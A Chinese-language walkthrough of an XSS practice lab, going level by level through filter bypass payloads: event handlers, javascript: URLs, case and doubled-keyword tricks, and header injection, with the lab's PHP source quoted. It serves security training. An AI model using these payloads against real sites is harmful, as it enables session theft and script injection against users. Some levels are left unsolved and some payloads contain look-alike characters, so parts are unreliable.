1.开始
<script>alert('a')</script>
<script>alert(1)</script>
<script>confirm("完成的不错!")</script> <script>prompt("完成的不错!")</script>
2.注意闭合
test"> <script>alert('1')</script>
test"><script>confirm("完成的不错!")</script> test"><script>prompt("完成的不错!")</script>
3.尖括号被过滤,用事件来触发,单引号闭合
' oninput=alert`1` // ' oninput=alert`1` ' ' onchange=alert`1` // ' onchange=alert`1` '
' onclick='window.alert()
来源: http://www.runoob.com/jsref/event-oninput.html
oninput 事件
实例
当用户向 <input> 中尝试输入时执行 JavaScript:<input type="text" οninput="myFunction()">
定义和用法
oninput 事件在用户输入时触发。
该事件在 <input> 或 <textarea> 元素的值发生改变时触发。
提示: 该事件类似于onchange 事件。不同之处在于 oninput 事件在元素值发生变化是立即触发, onchange 在元素失去焦点时触发。另外一点不同是 onchange 事件也可以作用于 <keygen> 和 <select> 元素。
4.跟第三关一样,只是闭合换成双引号
" oninput=alert`1` //
5.看源码,把on替换成了o_n;script替换成了sc_ript
意思就是不用事件和script
"> <a href="javascript:alert(/1/)">click me</a> //
生成一个跳转连接
6.主要是大小写问题,可以用大小写绕过技术
"> <Script>alert('handsome boy')</script> // "> <img Src=x OnError=alert('xss')> //
为什么第五关不能用大小写绕过,查看源码,发现调用下面函数,
7.用null代替常见字符
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
" oonninput=alert(1) "
"> <scscriptript>alert`xss`</scscriptript> //
8.过滤了:",src,on,script,data测试代码:
"'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>
<input name=keyword value=""'%&#></script><pclass="onmouseover=" onmouseover="xx" onxxx="">xxx</p>">
利用代码为:javascript:alert(1)
可以用十六进制转换来绕过过滤;
javascript:alert(1)
9.多了下面一句,检测URL合法性
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
javascript:alert(1) //http://
javascript:alert(1)//http://
10.过滤“<”,">"尖括号
尖括号被过滤,第一考虑事件型来触发XSS
看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>;
?>
发现除了keyword,还接受t_sort参数,虽然keyword没有过滤<>,但是不关他鸟事啊。。。
再往后看,t_sort type="hidden",所以构造的时候要带上type="text",显示文本内容
?keyword=12&t_sort="; type="text" onclick="alert(111)
?keyword=12&t_sort="; type="text" onmouseover="alert(111)
前后对比
11.插Referer
再结合源码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
...
<input name="t_ref" value="'.$str33.'" type="hidden">
同样的过滤了<>,跟第十关一样,也可以自己构造Referer
Referer:12&t_sort="; type="text" onclick="alert(111)
12.插USER_AGENT
与11一样
13.插Cookie
同样,但是要注意参数名字为user,注意构造的语句闭合问题。
" type="text" οnclick="alert(111)
借助F12,来fuzz,查看接收和过滤的字符。
14.图片的EXIF信息渲染解析导致XSS
查看源码得知,嵌入了一个iframe页面,访问这个网站http://www.exifviewer.org/,是查看图片的EXIF信息的网站,说明这是文件上传图片的XSS。
此题的网站已关闭;
可参考:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0194934.html
15.AngularJS ng-include指令
15的正确访问链接如下;
http://127.0.0.1/xss/level15.php?src=1.gif
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
'level4.php?keyword=%22%20οnfοcus=alert(1)%20%22'
网上查是这个playload,但是不成功;以前也没有遇到过这种,暂时解不出来。
16.过滤script、空格、/
用%0d换行符绕过
playload:<img%0Dsrc=1%0Dοnerrοr=alert(1)>
17.过滤<>
但是输入的内容在embed标签中,<embed> 标签定义嵌入的内容,比如插件;
利用事件标签来触发,onmousedown、onfocus等都可以,但是不知道为什么onclick不可以。
playload:arg01=a&arg02=b οnfοcus=alert(1)
两个参数均可。
18.跟17一样
arg01=a&arg02=b οnfοcus=alert(1)
我这边测试跟17一摸一样,但是网上说只有第一个参数生效,只是看php的源码看不出区别,貌似跟flash有关,也就是源码里的几个swf文件,太菜,不懂。
19.flash xss
参考:http://blog.icxun.cn/note/308.html playload:arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E
20.依旧不懂
playload:
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height